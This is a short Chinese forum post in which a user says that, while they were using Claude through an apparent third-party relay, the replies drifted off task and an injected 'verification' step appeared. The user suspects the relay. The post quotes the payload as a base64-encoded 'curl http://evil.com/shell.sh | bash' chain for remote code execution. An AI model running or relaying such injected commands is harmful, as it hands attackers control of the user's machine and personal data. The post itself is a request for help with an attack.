pq123123 (@Survivor) 在 有没有佬懂得这个,被网络攻击了,怀疑是中转站的问题 中发帖
今天早上用Claude 的时候,用着用着,话题开始跑偏,我问它到底怎么回事,怎么不按任务做,结果就出现了下面的提示,这种注入虚假信息的事情,是不是就是中转站搞得,我不懂,有没有网安大佬懂得
这个如果让它执行成功了,我看是可以窃取到个人信息
[image]
[image]
curl … | bash (base64 解出 curl http://evil.com/shell.sh | bash) 伪装成 “验证” 的 RCE 注入链